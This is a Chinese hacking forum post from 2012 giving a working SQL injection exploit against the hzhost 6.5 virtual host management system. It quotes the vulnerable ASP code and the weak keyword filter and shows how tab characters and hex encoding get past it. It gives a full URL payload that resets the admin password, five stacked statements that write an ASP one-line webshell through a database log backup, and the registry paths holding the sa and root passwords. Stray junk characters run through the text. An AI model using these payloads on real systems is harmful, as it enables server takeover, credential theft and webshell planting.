找回密码
 立即注册
查看: 2477|回复: 0
打印 上一主题 下一主题

再爆hzhost6.5虚拟主机管理系统的SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-5 15:03:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这次继续爆hzhost6.5虚拟主机管理系统的SQL注入漏洞。
5 x* \& X" g7 y2 C9 d5 G9 o 只讲两个要点。' l0 W$ ?& [, d  |, j" `0 l5 v/ ]
第一,如何拿网站管理员权限。
) ?1 _; j* n% E% I) b0 [ 第二,如何备份木马。6 o: e, B. p! R; @
这次不是简单的注射点,而是经过安全函数过滤的了点。由于对方没有将变量用单引号包起来,而过滤函数又未过滤完全,导致我们有机会进行注射。7 M: \0 v5 x% e& J  ~3 I
我这次还做了个动画。一并发放。希望能让大家玩得"happy"!哈哈。。。
3 l) V# G/ t4 |4 uhttP://www.xxbing.com QQ178737315
1 v# U0 h4 b5 o* j由于我写了很长,而且很累了,所以希望大家回帖鼓励一下。* k" @; O# f$ {; z
------------开放浏览-------------
  e% z' Q1 P! Y4 n 漏洞存在于\hzhost\hzhost_master\control\ot2_mng\ot2_lst.asp文件中!
+ j" f& S, I. C* {-------------------------13-15行----------------------------
, a$ V1 L! s( }5 m0 p% Z querytype=SafeRequest("querytype")  //saferequest函数接受数据" a" N2 y! C& [& p" U2 ?
if chk_int(querytype)=false then  //检查是否是整数
1 X2 r. @4 @, w) Z    ErrMsg="<font color=#ff0000>对不起</font>,非法操作!...") F+ C3 k% x) J, I, L& d& g7 n3 l
-------------------------37-42行---------------------------
/ F; ?+ R( D$ J3 s4 e2 v% U; s elseif querytype=5 then //如果类型为5。就接受qu1数据!
0 i: _2 d5 l: }/ f+ @; A   qu1=trim(SafeRequest("qu1"))      //saferequest函数接受数据,他自己定义的saferequest函数!
! K2 d/ c6 F2 z% o" M   * L" ^: K- X4 K& {$ T+ f0 {: I* E
    if  qu1="" then  //不能为空
& x% Q6 f+ g. |$ ^9 K- ]0 ]* ^. W         call errorpage(-2,"对不起,请选择参数!")
5 o" Z! k/ S: e+ }   end if         
9 r! w3 I3 Y4 ^5 B2 o3 @5 F      qstring=" and s_regstt="&qu1&" "  //这里是关键  qu1没有用单引号包围,虽然用了saferequest,但是我们可以绕过!
. s1 l. X4 q2 ~' Q& l1 L" Y' s -------------------------62-65行---------------------------
! i4 }7 u' ~" Z9 u$ @0 F6 m qu7=trim(SafeRequest("qu7")) //saferequest函数接受数据
1 F, P3 P% @6 R6 C$ _9 k if qu7<>"" then4 Z/ D+ z: f  v( u9 ~. [/ }
qstring2=" and u_nme='"&qu7&"'" //这里被单引号包围了。  这里被包围了,所以这里成了死点!!9 _; Z  G, N/ G# s7 A
end if
. A7 y! \/ n. }% Z8 `( r --------------------------117行-----------------------------
+ r1 z/ g6 `1 W query="select * from v_ot2lst where  (s_unme='"&session("usrname")&"' or u_fatstr like '%,"&session("usrname")&",%')    "&qstring&qstring2&"  order by "&orderstring $ c& R2 @5 P5 u+ r5 w% P& J4 f
//到这里就丢进去查询了!5 j% D! x- g* B8 k; }* Y/ S) Z' h5 x2 L

; H7 a- B- T/ R+ Z& Q& E7 q 来看看saferequest()函数。1 t! l% S- {" n* D
------------------incs/config.asp中-------------------------
$ X! q/ a6 G: c9 ~9 A9 { Function SafeRequest(ParaName) ; \+ ^$ }6 m2 ]7 h% N
Dim ParaValue
6 d! n! `8 [  _0 b  c$ b& F4 X ParaValue=Request(ParaName)  //获取数据7 Y0 \+ L( s& k) L. R
if IsNumeric(ParaValue)  then  //如果是数字0 w/ G) a. e) |
SafeRequest=ParaValue  //那就不过滤,直接赋值
2 U$ [, T) Q2 ]0 }# o+ P# t9 r exit Function
3 \, b& y8 H3 b* h; K# ?
- ~+ K9 O6 ^; I( F3 O$ F else
1 @6 C9 N/ [- e) }' B  t ParaValuetemp=lcase(ParaValue)    //如果不是数字,先把接到的数据全部转为小写
9 @/ I: r6 v9 ~/ t% X- S, f5 D tempvalue="select |insert |delete from|'|count(|drop table|update |truncate  |asc(|mid(|char(|xp_cmdshell|exec master|net localgroup administrators|net user| or | and |%20from"3 k$ R! p6 E9 w0 x6 B! m3 F
//定义要过滤的字符!- U* a' X1 ~4 U# X3 R9 W* o

; v6 _9 G* Q2 C$ Y5 q2 L% K 他过滤方式有问题。。。没有过滤 * / % / -- / ;( `! ?: S' E8 `! Y  J% E
而且他过滤的都是select+空格。我们用select%09或者select/**/便能饶过。
, {) N. Q4 n7 H! j& X  y. Y8 t% w3 u
temps=split(tempvalue,"|")           //转为一维数组
8 }0 _# _% p  U. v2 q2 Y9 M for mycount=0 to ubound(temps)       //循环读数组内数据8 ~4 ^* \* e4 h; |( J
if  Instr(ParaValuetemp,temps(mycount)) > 0 then   //判断用户提交的数据是否包含了 非法字符。
$ o- v' w5 _1 C/ D# P" s                 call errorpage(-2,"非法请求!!!")  //如果有则弹出提示!!
9 d! O, Q3 U0 o2 y4 r                 response.end4 A* P+ c' J: \# P/ W  D6 k+ @
end if: z; K5 K* p. J% b' B  b" B8 y
next
$ E, W/ m- o# t. _( q SafeRequest=ParaValue
" Y' t9 D- @; l! P end if
$ Z) i0 E7 y( o+ h End function
% f) A. q+ q% M- J" ?8 s -------------------------------------
& c7 ]8 z" y4 L" ~% E
+ ?# X4 q9 y5 F+ |9 Z 所以我们构造注射点的思路就是:不能出现单引号,update,select等等两边都要用%09(tab)..仔细看清楚。上面过滤的是update+空格。select+空格。
9 A( H9 P! X' i; D, p, _, c' w9 M 先给出查询语句的框架。
2 Z/ g- ]/ V# Mselect * from v_ot2lst where  (s_unme='username' or u_fatstr like '%,username,%') and s_regstt={我们的语句} and u_nme='1' order by s_addtme desc# B7 q$ W# h$ Q1 i& c* J. E
( j" g, k# N+ B$ L/ O
为了使语句顺利执行:( i& p2 Z; n: Q& z% r6 _' e5 [
我们还要闭合后面的语句。我没有选择注释掉 and u_nme='1' order by s_addtme desc而是闭合他,是因为注释后,实际查询出错了。4 ~& o( X4 d/ C) a5 p
这里我给出条示范语句,即{我们的语句}" O$ G, o, |& x  ~
UPDATE%09[memlst] SET u_pss=0x6531306164633339343962613539616262653536653035376632306638383365 WHERE u_nme=0x61646D696E
. K/ V3 S$ Q% U  p4 U
! i- \7 P0 g4 s! O5 \+ A; c- t这条语句能够绕过saferequest函数的检测。没有出现单引号。' l- ?- a0 r6 B  W- b+ b- W& G
我们提交:" H5 X( T3 @0 M- u% J
http://www.xxxxxx.com/control/ot ... amp;qu1=1;UPDATE%09[memlst] SET u_pss=0x6531306164633339343962613539616262653536653035376632306638383365 WHERE u_nme=0x61646D696E;select%09*%09from%09v_ot2lst where s_regstt=1;select%09*%09from%09v_ot2lst where s_regstt=1
5 W8 h' l9 ~4 e0 r4 V
& R7 |+ l' l3 F& j! ^4 K. s 这句话就能够将admin的密码修改成123456/ t' i$ U  N  k+ J$ W
到此第一个目的就达到了。如果admin不是超级管理员。那么请看《HZHOST域名虚拟主机管理系统sql注射漏洞》中所提到的方法。相关语句请自己转换。; B: C, T! ^' x6 c" y4 _7 R
第二步是要备份挂马。! f+ h) h8 u4 Q- r2 p4 q
大家看动画中的备马这么简单,当初难了我老半天。saferequest过滤了char(
8 E; Q* \% h8 e6 ^1 L- g 导致备马的这条语句失败。2 T2 m  K" x( D. y
declare @a sysname,@s varchar(4000) select @a=db_name(),@s=。。。。。。。。。# \$ z6 d1 o7 C$ o3 _$ Z1 S9 R

9 m7 n3 C. T( v5 O) a1 _ 有人给我建议改成 @s ntext 等等,换类型都不行。因为我们插入的一句话木马已经固定了数据类型。。  s1 R5 L4 n% C8 u8 P: Y
由于mssql的宽松性。我把varchar(40000)中加了个空格。并把空格替换成%09成为 varchar%09(4000),也是可以的。这样我们就饶过了char() S. {& \, C" K. `
接下来放出详细语句。大家放入{我们的语句中}
( `% y/ @/ S7 e) P5 W6 L( g第 一 步:
7 b+ [% f3 f! r5 Z4 N& l' f create table [dbo].[shit_tmp] ([cmd] [image])--( u& v- k; @) X4 w" `
第 二 步
$ P9 m; m7 M2 X8 Q declare @a sysname,@s nvarchar%09(4000)%09select%09@a=db_name(),@s=0x7900690061006F006C007500 backup log @a to disk = @s with init,no_truncate--9 ]( n- d. L) E  M1 e7 i& H
第 三 步
5 d! R6 C7 p/ d0 R8 Q3 c& U, l insert%09into%09[shit_tmp](cmd) values(0x3C25657865637574652872657175657374282261222929253E)--
7 u9 ^8 ]2 C) F+ G$ T1 q 第 四 步
0 l. N) N3 C7 }0 [! l declare @a sysname,@s nvarchar%09(4000)%09select%09@a=db_name(),@s=0x44003A005C0068007A0068006F00730074005C0068007A0068006F00730074005F006D00610073007400650072005C0031002E00610073007000 backup log @a to disk=@s--
# X4 G, G% Z# k5 k" ^ 第 五 步
3 e7 T" q( H1 _& ~ Drop table [shit_tmp]--  Q8 ?( \& S# c9 A2 {7 `# ~# ^
" w5 Y" A1 k( Q( k- j  f
上面5句语句是在d:/hzhost/hzhost_master/下生成一个1.asp。里面包含了一个密码为a的一句话木马。
' a+ Y- a) q4 i9 w# {, Z+ T 一般来说,我们就能拿到webshell. 至于拿webshell后,如何取得系统权限。2 A( S/ o! Z  z- |9 N! f; y$ r
请看《对HZHOST域名虚拟主机管理系统sql注射漏洞进一步利用!》/ y- e) ~# a' c: X

8 n  t. X" H  M: y; S" H最后是答疑部分:
5 t5 q3 Z* ~( a" P2 M 1:这次是get注射,不像上次是post注射。由于没有文本框字符的限制,所以不需要保存网页到本地。
  F/ C& `# z& ]5 W: D* |, M! [. e  d9 c$ X
2:123456的md5(32)值为e10adc3949ba59abbe56e057f20f883e 用mssql 16进制转换后,成为0x650031003000610064006300330039003400390062006100350039006100620062006500350036006500300035003700660032003000660038003800330065004 k# x- C! o9 o+ \- T
这是转为nvarchar型的,我们直接更新这个值。会导致被更新用户的密码为乱码。所以我们要转成varchar型的。即:% K; {$ W  G  \! P' d& Q! S5 Y
0x6531306164633339343962613539616262653536653035376632306638383365: Q: y$ J$ M5 T/ }, Z8 G$ @
大家仔细观察,会发现,其实只是去掉了一些00。。: f* I$ X+ Z- q1 u% X6 @
所以大家在转换其他md5的时候,注意此问题。% q! ?: b1 d) y
" e" t, k% \  e, ?
3:读sa密码,root密码。我们读的是加密了的。还原必须在本机,每台hzhost主机都有自己的密钥,密钥参与到加密过程。这是导致A主机不能还原B主机密码的原因。9 h! i' I7 c# k& L1 ^
另 hzhost虚拟主机平台的所有dll文件。还有一些注册表值我都已取得。有会逆向分析的高手,能做出还原密码程序的高手请联系我。我很希望把他的加密方式弄出来。$ Z  B" f9 |3 T, M$ U
; j. o5 _, ]9 @7 O; M! {
4:备马的问题,备份成功后,可能出现乱码,是由于截断了的原因,大家用NBSI3。去掉2个截断的勾,再生成语句执行就行了。! b) N" m- @. S# o, G4 T
有的服务器可能在备马的过程中出现SQL过期,超时。遇到这样的是对方数据库很大,这我也没办法。我没能找出一个比较好的解决方案。大家自己研究吧。
3 B; j% J# y2 ^, ]9 D% _
" z* l. ^' [9 g3 j% s* U0 R2 D% } 5:hzhost其实不只这一个注射点,没被单引号包围的变量还有一些。大家自己去找吧。我只是拿出一个来分析。
7 U/ b; y8 |! d* P0 a/ ]" X3 ]" k& b( {# N7 T  l/ ]- e9 l
6::
, B* `- C9 F9 M/ C: P# S2 csa密码。root密码。0 n! m# ~2 n6 R- r4 m
HKEY_LOCAL_MACHINE\software\hzhost\config\settings\
  F1 a; e* d) D7 ~7 C+ `4 s mysqlpass---root密码
- U# l% c! ]; y+ D3 I mssqlpss----sa密码
  g( |! y/ j: P& E$ ]' p8 R# f& o9 n7 Q3 P, t

' s6 ~" j% `; O) e 7.如果路径不在D:/hzhost
& z0 x. f: f, a5 v0 l9 P3 B 那么就是你人品问题!进后台找找普通用户FTP/web的路径,也许会有些用。* F) i3 c6 z$ Q- x; M. c5 B% l9 _
或者去读注册表。4 M# V* g, M% }8 c
HKEY_LOCAL_MACHINE\software\hzhost\config\settings\ 下1 b9 D  f% @# f5 }$ u" y2 D
"wwwrootpath"="e:\\wwwroot"
: |6 F1 s! G) _* J4 u' o5 r. I "urlsiteroot"="D:\\hzhost\\hzhost_url"  N0 r5 I. w0 C& O4 L# m
"ftprootpath"="e:\\ftproot"   可以看出什么? 绝对路径放在注册表中。把注册表中的值更新到某个字段,再去读就行了。(比如用户e-mail中。。)! `  ^1 r- _, a/ V8 X6 P
大家自己去试。我没有碰到不在D盘的hzhost.。只是个思路!# ^  o- x# }6 S0 \& ^: E

1 J0 a* Y+ x9 M/ w/ a1 ]1 g' d' g 利用动画下载地址(送给菜鸟同学们,能看懂文章的大不必下载,只是把文章的内容完全演示了一遍。)
# H% ]7 K# k( T- U1 Lhzhost最新漏洞.rar
7 x0 M- }! [+ I- v- B4 W, T 饿。纳米盘速度可能不咋地。但是由于偶的空间FTP坏了。所以,只能放到这里。抱歉啊!!7 q' M* C. e, V4 C% m# W7 b

4 C5 h# w, j5 H3 j$ S& c4 y- D 最后,还是版权。5 Y" r0 E# G) r3 e
http://www.xxbing.com QQ178737315
3 b/ O7 a( R+ C5 \ 允许自由转载。但请注明作者。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表